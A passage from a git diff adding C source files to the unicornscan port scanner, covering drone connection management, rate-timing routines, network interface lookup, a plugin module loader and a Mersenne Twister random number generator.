NULL; d=d->next, d_offset++) { + d->s_rw=0; + + if (d->status != DRONE_STATUS_DEAD && d->status != DRONE_STATUS_DONE) { + d->s_rw=p[d_offset].rw; + ret++; + } + } + + return ret; +} + +void drone_updatestate(drone_t *d, int status) { + assert(d != NULL); + + d->status=status; + shutdown(d->s, SHUT_RDWR); + close(d->s); + d->s=-1; + d->s_rw=0; + + switch (d->type) { + case DRONE_TYPE_SENDER: + --s->senders; + break; + + case DRONE_TYPE_LISTENER: + --s->listeners; + break; + + default: + break; + } + +} + +static int drone_validateuri(const char *uri) { + char host[256]; + uint16_t port=0; + + if (uri == NULL) { + return -1; + } + + if (sscanf(uri, "unix:%255[^/]", host) == 1) { + return 1; + } + + if (sscanf(uri, "%255[a-zA-Z0-9\\-_.]:%hu", host, &port) == 2) { + DBG(M_DRN, "drone host `%s' port %hu is valid!", host, port); + return 1; + } + + return -1; +} + +char *strdronetype(int type) { + static char type_s[32]; + + CLEAR(type_s); + switch (type) { + case DRONE_TYPE_UNKNOWN: + strcat(type_s, "Unknown"); break; + case DRONE_TYPE_SENDER: + strcat(type_s, "Sender"); break; + case DRONE_TYPE_LISTENER: + strcat(type_s, "Listener"); break; + case DRONE_TYPE_OUTPUT: + strcat(type_s, "Output"); break; + case DRONE_TYPE_SNODE: + strcat(type_s, "SuperNode"); break; + default: + sprintf(type_s, "Unknown [%d]", type); break; + } + + return type_s; +} + +char *strdronestatus(int status) { + static char stat_s[32]; + + CLEAR(stat_s); + switch (status) { + case DRONE_STATUS_UNKNOWN: + strcat(stat_s, "Unknown"); break; + case DRONE_STATUS_CONNECTED: + strcat(stat_s, "Connected"); break; + case DRONE_STATUS_IDENT: + strcat(stat_s, "Ident"); break; + case DRONE_STATUS_READY: + strcat(stat_s, "Ready"); break; + case DRONE_STATUS_DEAD: + strcat(stat_s, "Dead"); break; + case DRONE_STATUS_WORKING: + strcat(stat_s, "Working"); break; + case DRONE_STATUS_DONE: + strcat(stat_s, "Done"); break; + default: + sprintf(stat_s, "Unknown [%d]", status); break; + + } + + return stat_s; +} + +char *strdroneopts(uint16_t flags) { + static char opts_s[128]; + + CLEAR(opts_s); + snprintf(opts_s, sizeof(opts_s) -1, "%s", (flags & DRONE_IMMEDIATE ? "Immediate" : "Batch")); + + return opts_s; +} diff --git a/src/unilib/drone.h b/src/unilib/drone.h new file mode 100644 index 0000000..9fe6bc7 --- /dev/null +++ b/src/unilib/drone.h @@ -0,0 +1,123 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _DRONE_H +# define _DRONE_H + +typedef struct drone_t { + int status; +#define DRONE_STATUS_UNKNOWN 0 +#define DRONE_STATUS_CONNECTED 1 +#define DRONE_STATUS_IDENT 2 +#define DRONE_STATUS_READY 3 +#define DRONE_STATUS_DEAD 4 +#define DRONE_STATUS_WORKING 5 +#define DRONE_STATUS_DONE 6 + + int type; +#define DRONE_TYPE_UNKNOWN 0 +#define DRONE_TYPE_SENDER 1 +#define DRONE_TYPE_LISTENER 2 +#define DRONE_TYPE_OUTPUT 4 +#define DRONE_TYPE_SNODE 8 + + uint16_t flags; +#define DRONE_IMMEDIATE 1 + + uint32_t pps; + + char *uri; + + int s; + int s_rw; + + int id; + + uint32_t wid; /* workunit id last sent */ + + struct drone_t *next; + struct drone_t *last; +} drone_t; + +typedef struct drone_head_s { + drone_t *head; + unsigned int size; +} drone_head_t; + +/* these are ipc messages sent back from the drones */ +typedef struct listener_info_t { + struct sockaddr_storage myaddr; + struct sockaddr_storage mymask; + uint8_t hwaddr[THE_ONLY_SUPPORTED_HWADDR_LEN]; + uint16_t mtu; +} listener_info_t; + +/* + * when a sender finishes a workunit, it sends back this structure + */ +#define DRONE_STATS_MAGIC 0x4211dccd + +typedef struct send_stats_t { + uint32_t magic; + float pps; + uint64_t packets_sent; +} send_stats_t; + +typedef struct recv_stats_t { + uint32_t magic; + uint32_t packets_recv; + uint32_t packets_dropped; + uint32_t interface_dropped; +} recv_stats_t; + +typedef struct drone_version_t { + uint32_t magic; +#define DRONE_MAGIC 0x533f000d + uint8_t maj; + uint16_t min; + uint8_t res; +} drone_version_t; + +int drone_init(void); + +/* + * takes a string of drones to use for a scan, and constructs the drone_head structure in the settings structure + */ +int drone_parselist(const char *); + +/* droneid or -1 fail */ int drone_add(const char *); +int drone_remove(int /* doneid */); + +void drone_dumplist(void); + +void drone_destroylist(void); + +/* returns number of drones that could not be connected to */ +int drone_connect(void); + +/* marks the drone as non-functional, cause of an error or normal termination */ +void drone_updatestate(drone_t * /* drone */, int /* status, dead or done */); + +/* returns the number of readable drone sockets */ +int drone_poll(int /* timeout */); + +char *strdronetype(int /* type */); +char *strdronestatus(int /* status */); +char *strdroneopts(uint16_t /* options */); + +#endif diff --git a/src/unilib/gtod.c b/src/unilib/gtod.c new file mode 100644 index 0000000..588a7e3 --- /dev/null +++ b/src/unilib/gtod.c @@ -0,0 +1,75 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +static uint64_t tod_delay=0; +static uint64_t tod_s_time=0; + +static uint64_t get_tod(void) { + struct timeval tv; + uint64_t tt=0; + + gettimeofday(&tv, NULL); + + tt=tv.tv_sec; + /* some 64 bit platforms have massive tv_usecs, truncate them */ + tt=tt << (4 * 8); + tt += (uint32_t)(tv.tv_usec & 0xffffffff); + + return tt; +} + +void gtod_init_tslot(uint32_t pps) { + uint64_t start=0, end=0, cps=0; + struct timespec s_time, rem; + + rem.tv_sec=0; rem.tv_nsec=0; + s_time.tv_sec=0; s_time.tv_nsec=100000001; + + start=get_tod(); + + do { + if (nanosleep((const struct timespec *)&s_time, &rem) != -1) break; + } while (rem.tv_sec != 0 && rem.tv_nsec != 0); + + end=get_tod(); + + cps=(end - start) * 10; + + tod_delay=(cps / pps); +} + + +void gtod_start_tslot(void) { + tod_s_time=get_tod(); + return; +} + +void gtod_end_tslot(void) { + while (1) { + if ((get_tod() - tod_s_time) >= tod_delay) { + break; + } + } + tod_s_time=0; + return; +} diff --git a/src/unilib/intf.c b/src/unilib/intf.c new file mode 100644 index 0000000..1693307 --- /dev/null +++ b/src/unilib/intf.c @@ -0,0 +1,111 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include + +#include + +#include +#include +#include + +static char pcap_errors[PCAP_ERRBUF_SIZE]; + +int get_interface_info(const char *iname, interface_info_t *ii) { + pcap_if_t *pif=NULL, *walk=NULL; + struct pcap_addr *pa=NULL; + int got_linkaddr=0, got_ipaddr=0; + + CLEAR(pcap_errors); + + assert(iname != NULL && strlen(iname) > 0); + assert(ii != NULL); + + if (pcap_findalldevs(&pif, pcap_errors) < 0) { + ERR("pcap findalldevs fails: %s", pcap_errors); + return -1; + } + + for (walk=pif; walk != NULL; walk=walk->next) { + + assert(walk->name != NULL && strlen(walk->name) > 0); + + if (strcmp(walk->name, iname) == 0) { + union sock_u pcapaddr_u, myaddr_u, mymask_u; + + DBG(M_INT, "got interface `%s' description `%s' looking for `%s'", + walk->name, + walk->description != NULL ? walk->description : "none", + iname + ); + + for (pa=walk->addresses; pa != NULL; pa=pa->next) { + pcapaddr_u.s=pa->addr; + + if (got_linkaddr == 0 && pcapaddr_u.fs->family == AF_PACKET) { + if (pcapaddr_u.sl->sll_halen != 6) { + ERR("not ethernet?!"); + return -1; + } + memcpy(ii->hwaddr, pcapaddr_u.sl->sll_addr, THE_ONLY_SUPPORTED_HWADDR_LEN); + got_linkaddr=1; + } + else if (got_ipaddr == 0 && pcapaddr_u.fs->family == AF_INET) { + myaddr_u.ss=&ii->myaddr; + mymask_u.ss=&ii->mymask; + + /* XXX */ + memcpy(&ii->myaddr, pcapaddr_u.ss, sizeof(struct sockaddr_in)); + mymask_u.sin->sin_addr.s_addr=0xffffffff; + mymask_u.sin->sin_family=AF_INET; + got_ipaddr=1; + } + } + + } + } + + if (got_linkaddr == 0) { + ERR("cant find the link address for interface `%s'", iname); + return -1; + } + + if (got_ipaddr == 0) { + ERR("cant find the ip address for interface `%s'", iname); + return -1; + } + + ii->mtu=1500; + + sprintf(ii->hwaddr_s, "%02x:%02x:%02x:%02x:%02x:%02x", + ii->hwaddr[0], ii->hwaddr[1], ii->hwaddr[2], + ii->hwaddr[3], ii->hwaddr[4], ii->hwaddr[5] + ); + + sprintf(ii->myaddr_s, "%s", cidr_saddrstr((const struct sockaddr *)&ii->myaddr)); + + DBG(M_INT, "intf %s mtu %u addr %s ethaddr %s", + iname, ii->mtu, + ii->myaddr_s, + ii->hwaddr_s + ); + + + return 1; +} diff --git a/src/unilib/intf.h b/src/unilib/intf.h new file mode 100644 index 0000000..a12efcb --- /dev/null +++ b/src/unilib/intf.h @@ -0,0 +1,24 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _INTF_H +# define _INTF_H + +int get_interface_info(const char *, interface_info_t *); + +#endif diff --git a/src/unilib/modules.c b/src/unilib/modules.c new file mode 100644 index 0000000..661b3ae --- /dev/null +++ b/src/unilib/modules.c @@ -0,0 +1,575 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include +#include +#include +#include + +#include +#include +#include + +/* + * XXX this module interface was kinda ltdl'ized but it needs quite a bit of work + */ + +static mod_entry_t *mod_list_head=NULL; +static const void *_r=NULL; + +int init_modules(void) { + DIR *moddir=NULL; + struct dirent *de=NULL; + mod_entry_t *mnew=NULL, *last=NULL; + const char *dl_estr=NULL; + + if (lt_dlinit() != 0) { + dl_estr=lt_dlerror(); + ERR("lt_dlinit fails: %s", (dl_estr == NULL ? "unknown reason" : dl_estr)); + return -1; + } + + DBG(M_MOD, "opening module directory `%s'", s->mod_dir); + + if (s->mod_dir == NULL || strlen(s->mod_dir) < 1) { + ERR("module directory is not set"); + return -1; + } + + moddir=opendir(s->mod_dir); + if (moddir == NULL) { + ERR("opendir `%s' fails: %s", s->mod_dir, strerror(errno)); + return -1; + } + + while ((de=readdir(moddir)) != NULL) { + struct stat sb; + int ret=0; + char type[32]; + int maj=0, min=0, bad=0; + + /* ignore . dirs and files and non .so files */ + if (de->d_name[0] == '.' || strstr(de->d_name, SHLIB_EXT) == NULL) { + continue; + } + + mnew=(mod_entry_t *)xmalloc(sizeof(mod_entry_t)); + memset(mnew, 0, sizeof(mod_entry_t)); + + mnew->s=(const settings_t *)s; + + snprintf(mnew->fname, sizeof(mnew->fname) -1, "%s/%s", s->mod_dir, de->d_name); + + if (stat(mnew->fname, &sb) < 0) { + ERR("stat `%s' fails: %s", mnew->fname, strerror(errno)); + xfree(mnew); + continue; + } + + /* XXX check parent directories too */ + if (S_ISREG(sb.st_mode) && + ((S_IWGRP|S_IWOTH) & sb.st_mode) == 0) { + DBG(M_MOD, "loading module `%s'", mnew->fname); + } + else { + ERR("ignoring module `%s', check file type and permissions (no group write or other write permissions allowed)", mnew->fname); + xfree(mnew); + continue; + } + + mnew->handle=lt_dlopen(mnew->fname); + if (mnew->handle == NULL) { + ERR("cant load shared object `%s': %s", mnew->fname, lt_dlerror()); + xfree(mnew); + continue; + } + + mnew->dl_init_module=(int (*)(mod_entry_t * ))lt_dlsym(mnew->handle, "init_module"); + dl_estr=lt_dlerror(); + if (dl_estr != NULL) { + ERR("cant find initialization hook for module `%s': %s", mnew->fname, dl_estr); + lt_dlclose(mnew->handle); + xfree(mnew); + continue; + } + + mnew->dl_delete_module=(void (*)(void ))lt_dlsym(mnew->handle, "delete_module"); + dl_estr=lt_dlerror(); + if (dl_estr != NULL) { + ERR("cant find shutdown hook for module `%s': %s", mnew->fname, dl_estr); + lt_dlclose(mnew->handle); + xfree(mnew); + continue; + } + + DBG(M_MOD, "module `%s' init_module: %p delete_module: %p, calling init hook", + mnew->fname, + mnew->dl_init_module, + mnew->dl_delete_module + ); + + if ((ret=mnew->dl_init_module(mnew)) != 1) { + ERR("module `%s' failed to initialize, failure code %d: `%s'", mnew->fname, ret, mnew->errstr); + lt_dlclose(mnew->handle); + xfree(mnew); + continue; + } + + switch (mnew->type) { + case MI_TYPE_PREFILTER: + strcpy(type, "prefilter"); + break; + + case MI_TYPE_PAYLOAD: + strcpy(type, "payload"); + break; + + case MI_TYPE_FILTER: + strcpy(type, "filter"); + break; + + case MI_TYPE_REPORT: + strcpy(type, "report"); + break; + + case MI_TYPE_OUTPUT: + strcpy(type, "output"); + break; + + default: + ERR("module `%s' unknown type, unloading", mnew->fname); + lt_dlclose(mnew->handle); + xfree(mnew); + bad=1; + break; + } + + if (bad) { + continue; + } + + MOD_VERSION(mnew->iver, maj, min); + + DBG(M_MOD, "module `%s' license `%s' author `%s' description `%s' type `%s' interface version %d.%02d loaded", + mnew->fname, + mnew->license, + mnew->author, + mnew->desc, + type, + maj, + min + ); + + if (mnew->iver != MODULE_IVER) { + int mymaj=0, mymin=0; + + MOD_VERSION(MODULE_IVER, mymaj, mymin); + + ERR("module version mismatch for `%s', expected version %d.%02d and found version %d.%02d", + mnew->fname, + mymaj, + mymin, + maj, + min + ); + lt_dlclose(mnew->handle); + xfree(mnew); + continue; + } + + mnew->state=MI_STATE_INITED; + + if (last) { + last->next=mnew; + } + else { + mod_list_head=mnew; + } + + mnew->next=NULL; + last=mnew; + mnew=NULL; + } + + closedir(moddir); + + return 1; +} + +int init_payload_modules(int (*add_pl)(uint16_t, uint16_t, int32_t, const uint8_t *, uint32_t, int (*)(uint8_t **, uint32_t *, void *), uint16_t )) { + mod_entry_t *walk=NULL; + const char *dl_estr=NULL; + + if (mod_list_head == NULL) { + return 1; + } + + if (add_pl == NULL) { + PANIC("init payload modules with no add_payload hook"); + } + + walk=mod_list_head; + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + if (walk->type == MI_TYPE_PAYLOAD) { + walk->func_u.dl_create_payload=(int (*)(uint8_t **, uint32_t *, void *))lt_dlsym(walk->handle, "create_payload"); + dl_estr=lt_dlerror(); + if (dl_estr != NULL) { + ERR("cant find payload initialization hook for module `%s': %s", walk->fname, dl_estr); + lt_dlclose(walk->handle); + continue; + } + + DBG(M_MOD, "create_payload found at %p", walk->func_u.dl_create_payload); + + walk->state=MI_STATE_HOOKED; + + /* + * XXX + */ + if (add_pl(walk->param_u.payload_s.proto, + (uint16_t)walk->param_u.payload_s.dport, + walk->param_u.payload_s.sport, + NULL, + 0, + walk->func_u.dl_create_payload, + walk->param_u.payload_s.payload_group + ) != 1) { + ERR("cant register payload for module `%s'", walk->fname); + lt_dlclose(walk->handle); + continue; + } + + VRB(1, "added module payload for port %d proto %u", + walk->param_u.payload_s.dport, + walk->param_u.payload_s.proto + ); + } + } + + return 1; +} + +int init_output_modules(void) { + mod_entry_t *walk=NULL; + const char *dl_estr=NULL; + + if (mod_list_head == NULL) { + return 1; + } + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + if (walk->type == MI_TYPE_OUTPUT) { + walk->func_u.dl_send_output=(int (*)(const void *))lt_dlsym(walk->handle, "send_output"); + + if (s->module_enable == NULL || strstr(s->module_enable, walk->name) == NULL) { + walk->state=MI_STATE_DISABL; + lt_dlclose(walk->handle); + continue; + } + + DBG(M_MOD, "enabling module `%s' `%s'", walk->fname, walk->name); + + dl_estr=lt_dlerror(); + if (dl_estr != NULL) { + ERR("cant find output initialization hook for module `%s': %s", walk->fname, dl_estr); + lt_dlclose(walk->handle); + continue; + } + + DBG(M_MOD, "send_output found at %p", walk->func_u.dl_send_output); + + if (walk->param_u.output_s.init_output != NULL) { + walk->param_u.output_s.init_output(); + } + + walk->state=MI_STATE_HOOKED; + + DBG(M_MOD, "module `%s' name `%s' is active", walk->fname, walk->name); + } + } + + return 1; +} + +int init_report_modules(void) { + mod_entry_t *walk=NULL; + const char *dl_estr=NULL; + + if (mod_list_head == NULL) { + return 1; + } + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + if (walk->type == MI_TYPE_REPORT) { + walk->func_u.dl_create_report=(int (*)(const void *))lt_dlsym(walk->handle, "create_report"); + + if (s->module_enable == NULL || strstr(s->module_enable, walk->name) == NULL) { + walk->state=MI_STATE_DISABL; + lt_dlclose(walk->handle); + continue; + } + + dl_estr=lt_dlerror(); + if (dl_estr != NULL) { + ERR("cant find report initialization hook for module `%s': %s", walk->fname, dl_estr); + lt_dlclose(walk->handle); + continue; + } + + DBG(M_MOD, "create_report: found at %p", walk->func_u.dl_create_report); + + if (walk->param_u.report_s.init_report != NULL) { + walk->param_u.report_s.init_report(); + } + walk->state=MI_STATE_HOOKED; + + if (walk->param_u.report_s.immed != 0) { + union { + void *ptr; + mod_entry_t *m; + } f_u; + + f_u.m=walk; + + if (s->report_mod_jit == NULL) { + s->report_mod_jit=fifo_init(); + } + + fifo_push(s->report_mod_jit, f_u.ptr); + + DBG(M_MOD, "immediate report module, adding to jit list"); + } + } + } + + return 1; +} + +void close_payload_modules(void) { + mod_entry_t *walk=NULL; + + if (mod_list_head == NULL) { + return; + } + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + /* XXX clean up structure after dlclose */ + if (walk->type == MI_TYPE_PAYLOAD && walk->state == MI_STATE_HOOKED) { + lt_dlclose(walk->handle); + walk->state=MI_STATE_DISABL; + } + } + + return; +} + +void close_output_modules(void) { + mod_entry_t *walk=NULL; + + if (mod_list_head == NULL) { + return; + } + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + /* XXX clean up structure after dlclose */ + if (walk->type == MI_TYPE_OUTPUT && walk->state == MI_STATE_HOOKED) { + lt_dlclose(walk->handle); + walk->state=MI_STATE_DISABL; + } + } + + return; +} + +void close_report_modules(void) { + mod_entry_t *walk=NULL; + + if (mod_list_head == NULL) { + return; + } + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + /* XXX clean up structure after dlclose */ + if (walk->type == MI_TYPE_REPORT && walk->state == MI_STATE_HOOKED) { + lt_dlclose(walk->handle); + walk->state=MI_STATE_DISABL; + } + } + + return; +} + +void push_report_modules(const void *r) { + mod_entry_t *walk=NULL; + + if (mod_list_head == NULL) { + return; + } + + if (r == NULL) { + ERR("report null"); + return; + } + + DBG(M_MOD, "in push report modules"); + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + if (walk->type == MI_TYPE_REPORT && walk->state == MI_STATE_HOOKED && walk->param_u.report_s.immed == 0) { + if (walk->func_u.dl_create_report != NULL) { + walk->func_u.dl_create_report(r); + DBG(M_MOD, "pushed report module"); + } + } + } + + return; +} + +static void do_jit_report(void *i) { + union { + mod_entry_t *m; + void *ptr; + } i_u; + + i_u.ptr=i; + + /* + * XXX we need to filter HERE (based upon the report_s settings) not in the module + */ + + assert(i != NULL && _r != NULL); + + if (i_u.m->type != MI_TYPE_REPORT || i_u.m->param_u.report_s.immed == 0) { + ERR("bad report module inside jit list, ignoring it"); + return; + } + + DBG(M_MOD, "jit'ing report to function %p with data %p", i_u.m->func_u.dl_create_report, _r); + + i_u.m->func_u.dl_create_report(_r); + + return; +} + +void push_jit_report_modules(const void *r) { + + if (s->report_mod_jit == NULL) { + return; + } + + _r=r; + + DBG(M_MOD, "walking module jit list"); + + fifo_walk(s->report_mod_jit, do_jit_report); + + _r=NULL; + + return; +} + +void push_output_modules(const void *r) { + mod_entry_t *walk=NULL; + + if (mod_list_head == NULL) { + return; + } + if (r == NULL) { + ERR("report null"); + return; + } + + DBG(M_MOD, "in push output modules"); + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + if (walk->type == MI_TYPE_OUTPUT && walk->state == MI_STATE_HOOKED) { + if (walk->func_u.dl_send_output != NULL) { + walk->func_u.dl_send_output(r); + DBG(M_MOD, "pushed output module"); + } + } + } + + return; +} + +int fini_output_modules(void) { + mod_entry_t *walk=NULL; + + if (mod_list_head == NULL) { + return 1; + } + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + if (walk->type == MI_TYPE_OUTPUT && walk->state == MI_STATE_HOOKED) { + if (walk->param_u.output_s.fini_output != NULL) { + walk->param_u.output_s.fini_output(); + } + } + } + return 1; +} + +int fini_report_modules(void) { + mod_entry_t *walk=NULL; + + if (mod_list_head == NULL) { + return 1; + } + + for (walk=mod_list_head; walk != NULL; walk=walk->next) { + if (walk->type == MI_TYPE_REPORT && walk->state == MI_STATE_HOOKED) { + if (walk->param_u.report_s.fini_report != NULL) { + walk->param_u.report_s.fini_report(); + } + } + } + return 1; +} + +void grab_keyvals(mod_entry_t *me) { + mod_params_t *mp=NULL, *last=NULL; + + if (me == NULL) { + return; + } + + for (mp=s->mod_params; mp != NULL; last=mp, mp=mp->next) { + if (strcmp(mp->name, me->name) == 0) { + me->mp=mp; + /* + * remove it from the list now a module has claimed it + */ + if (last == NULL) { + s->mod_params=mp->next; + } + else { + last->next=mp->next; + } + break; + } + } + + return; +} diff --git a/src/unilib/modules.h b/src/unilib/modules.h new file mode 100644 index 0000000..06d95f6 --- /dev/null +++ b/src/unilib/modules.h @@ -0,0 +1,115 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _MODULES_H +# define _MODULES_H + +#define MI_TYPE_PAYLOAD 1 +#define MI_TYPE_REPORT 2 +#define MI_TYPE_OUTPUT 3 +#define MI_TYPE_PREFILTER 4 +#define MI_TYPE_FILTER 5 + +#define MI_STATE_INITED 1 +#define MI_STATE_HOOKED 2 +#define MI_STATE_DISABL 3 + +#include + +typedef struct mod_entry_t { + /* */ + char license[64]; + /* name, (company) () */ + char author[64]; + /* this is a brief description of what it does */ + char desc[64]; + /* the full path to the file */ + char fname[2048]; + /* the module can write errors to here */ + char errstr[256]; + char name[32]; /* mostly for report and output modules that are default to disabled currently */ + + /* interface version */ + uint16_t iver; /* 0x01 0x00 = 1.0 */ + /* state as in init_module has been run, or its hooked into the correct place already */ + uint8_t state; + /* dlopen handle return */ + lt_dlhandle handle; + + int (*dl_init_module)(struct mod_entry_t *); + void (*dl_delete_module)(void); + + const settings_t *s; + + /* what type of module is this? a payload generator? an output module? */ + uint8_t type; + + mod_params_t *mp; + + union { + struct payload_mod { + int16_t proto; + int32_t sport; + uint16_t dport; + uint16_t payload_group; + } payload_s; + struct report_mod { + int32_t ip_proto; /* -1 for all */ + int32_t sport; /* -1 for all */ + int32_t dport; /* -1 for all */ + int32_t immed; + /* XXX need a better way to do this */ + void (*init_report)(void); + void (*fini_report)(void); + } report_s; + struct output_mod { + void (*init_output)(void); + void (*fini_output)(void); + } output_s; + } param_u; + union { + int (*dl_create_payload)(uint8_t **, uint32_t *, void * /* report */); + int (*dl_create_report)(const void * /* report */); + int (*dl_send_output)(const void * /* report */); + } func_u; + struct mod_entry_t *next; +} mod_entry_t; + +int init_modules(void); + +/* a module calls this function to get its params */ +void grab_keyvals(mod_entry_t *); + +/* these guys currently act a bit different than the rest */ +int init_payload_modules(int (*)(uint16_t, uint16_t, int32_t, const uint8_t *, uint32_t, int (*)(uint8_t **, uint32_t *, void *), uint16_t )); +void close_payload_modules(void); + +int init_output_modules(void); +int init_report_modules(void); + +void push_output_modules(const void * /* report */); +void push_report_modules(const void * /* report */); +void push_jit_report_modules(const void * /* report */); + +int fini_output_modules(void); +int fini_report_modules(void); + +void close_output_modules(void); +void close_report_modules(void); + +#endif diff --git a/src/unilib/mt19937ar.c b/src/unilib/mt19937ar.c new file mode 100644 index 0000000..1b1aa27 --- /dev/null +++ b/src/unilib/mt19937ar.c @@ -0,0 +1,231 @@ +/* + A C-program for MT19937, with initialization improved 2002/1/26. + Coded by Takuji Nishimura and Makoto Matsumoto. + + Before using, initialize the state by using init_genrand(seed) + or init_by_array(init_key, key_length). + + Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura, + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The names of its contributors may not be used to endorse or promote + products derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + + Any feedback is very welcome. + http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/emt.html + email: m-mat @ math.sci.hiroshima-u.ac.jp (remove space) +*/ + +/* changed for unicornscan */ +#include +#include + +#include + +/* Period parameters */ +#define N 624 +#define M 397 +#define MATRIX_A 0x9908b0dfUL /* constant vector a */ +#define UPPER_MASK 0x80000000UL /* most significant w-r bits */ +#define LOWER_MASK 0x7fffffffUL /* least significant r bits */ + +static unsigned long mt[N]; /* the array for the state vector */ +static int mti=N+1; /* mti==N+1 means mt[N] is not initialized */ + +/* initializes mt[N] with a seed */ +static void init_genrand(unsigned long s) +{ + mt[0]= s & 0xffffffffUL; + for (mti=1; mti> 30)) + mti); + /* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */ + /* In the previous versions, MSBs of the seed affect */ + /* only MSBs of the array mt[]. */ + /* 2002/01/09 modified by Makoto Matsumoto */ + mt[mti] &= 0xffffffffUL; + /* for >32 bit machines */ + } +} + +/* added for unicornscan */ +void genrand_init(void) +{ + int fd=-1; + unsigned long seed=0; + + fd=open(RANDOM_DEVICE, O_RDONLY); + if (fd < 0) { + ERR("cant open `%s': %s", RANDOM_DEVICE, strerror(errno)); + /* oh well */ + seed=(unsigned long )getpid(); + init_genrand(seed); + return; + } + + if (read(fd, &seed, sizeof(seed)) != (ssize_t)sizeof(seed)) { + ERR("cant read `%s': %s", 